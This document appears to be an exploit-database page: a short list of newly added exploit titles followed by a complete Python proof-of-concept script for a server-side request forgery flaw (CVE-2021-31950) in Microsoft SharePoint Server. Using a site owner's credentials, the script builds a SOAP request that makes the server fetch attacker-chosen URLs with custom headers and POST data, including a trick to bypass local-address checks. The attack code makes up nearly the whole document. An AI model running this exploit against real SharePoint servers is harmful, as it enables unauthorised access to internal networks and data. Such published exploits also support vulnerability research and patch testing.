
12 changes to exploits/shellcodes WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated) Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS) Cerberus FTP Web Service 11 - 'svg' Stored Cross-Site Scripting (XSS) Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) OpenEMR 5.0.0 - Remote Code Execution (Authenticated) WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF Grocery crud 1.6.4 - 'order_by' SQL Injection Solar-Log 500 2.8.2 - Incorrect Access Control Solar-Log 500 2.8.2 - Unprotected Storage of Credentials Zenario CMS 8.8.52729 - 'cID' Blind & Error based SQL injection (Authenticated) WoWonder Social Network Platform 3.1 - Authentication Bypass
132 lines
No EOL
5.7 KiB
Python
Executable file
132 lines
No EOL
5.7 KiB
Python
Executable file
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
|
|
# Date: 09 Jun 2021
|
|
# Exploit Author: Alex Birnberg
|
|
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
|
|
# Version: 16.0.10372.20060
|
|
# Tested on: Windows Server 2019
|
|
# CVE : CVE-2021-31950
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import html
|
|
import random
|
|
import string
|
|
import xml.sax.saxutils
|
|
import textwrap
|
|
import requests
|
|
import argparse
|
|
import xml.etree.ElementTree as ET
|
|
from requests_ntlm2 import HttpNtlmAuth
|
|
from urllib.parse import urlencode, urlparse
|
|
|
|
class Exploit:
|
|
def __init__(self, args):
|
|
o = urlparse(args.url)
|
|
self.url = args.url
|
|
self.service = o.path
|
|
self.username = args.username
|
|
self.password = args.password
|
|
self.target = args.target
|
|
self.headers = args.header
|
|
self.method = args.request
|
|
self.data = args.data
|
|
self.content_type = args.content_type
|
|
self.s = requests.Session()
|
|
self.s.auth = HttpNtlmAuth(self.username, self.password)
|
|
self.s.headers = {
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
|
|
}
|
|
self.s.proxies = {
|
|
'http': 'http://127.0.0.1:8080'
|
|
}
|
|
|
|
def trigger(self):
|
|
headers = ''
|
|
if self.headers:
|
|
for header in self.headers:
|
|
header = list(map(lambda x: x.strip(), header.split(':')))
|
|
if len(header) != 2:
|
|
continue
|
|
headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
|
|
method = ''
|
|
bypass_local = ''
|
|
if self.method and self.method.upper() == 'POST':
|
|
method = 'HTTP Post'
|
|
else:
|
|
method = 'HTTP Get'
|
|
bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
|
|
content_type = ''
|
|
if self.content_type and len(self.content_type):
|
|
content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
|
|
data = ''
|
|
if self.data and len(self.data):
|
|
data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))
|
|
query_xml = textwrap.dedent('''\
|
|
<udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">
|
|
<udc:ConnectionInfo>
|
|
<udcs:Location href="">XMLURLDataAdapter</udcs:Location>
|
|
<soap:Header>
|
|
<dsp:versions>
|
|
</dsp:versions>
|
|
<dsp:request method="query" />
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<dsp:queryRequest>
|
|
<dsp:ptQuery>
|
|
<dataurl:Headers>
|
|
<dataurl:Url href="{}" Method="{}"/>
|
|
{}
|
|
{}
|
|
{}
|
|
{}
|
|
</dataurl:Headers>
|
|
</dsp:ptQuery>
|
|
</dsp:queryRequest>
|
|
</soap:Body>
|
|
</udc:ConnectionInfo>
|
|
</udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))
|
|
query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))
|
|
data = textwrap.dedent('''\
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Body>
|
|
<GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
|
|
<queryXml>{}</queryXml>
|
|
</GetXmlDataFromDataSource>
|
|
</soap:Body>
|
|
</soap:Envelope>'''.format(query_xml))
|
|
r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)
|
|
root = ET.fromstring(r.content)
|
|
try:
|
|
namespaces = {
|
|
'soap': 'http://schemas.xmlsoap.org/soap/envelope/'
|
|
}
|
|
value = list(root.find('soap:Body', namespaces).iter())[2]
|
|
if value.tag == 'faultcode':
|
|
print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)
|
|
else:
|
|
print(value.text)
|
|
except:
|
|
print(r.content)
|
|
pass
|
|
|
|
def soap(self, service, action, data):
|
|
headers = {
|
|
'SOAPAction': '"{}"'.format(action),
|
|
'Host': 'localhost',
|
|
'Content-Type': 'text/xml; charset=utf-8',
|
|
}
|
|
return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)
|
|
|
|
if __name__ == '__main__':
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
|
|
parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
|
|
parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
|
|
parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
|
|
parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
|
|
parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
|
|
parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>')
|
|
parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
|
|
exploit = Exploit(parser.parse_args())
|
|
exploit.trigger() |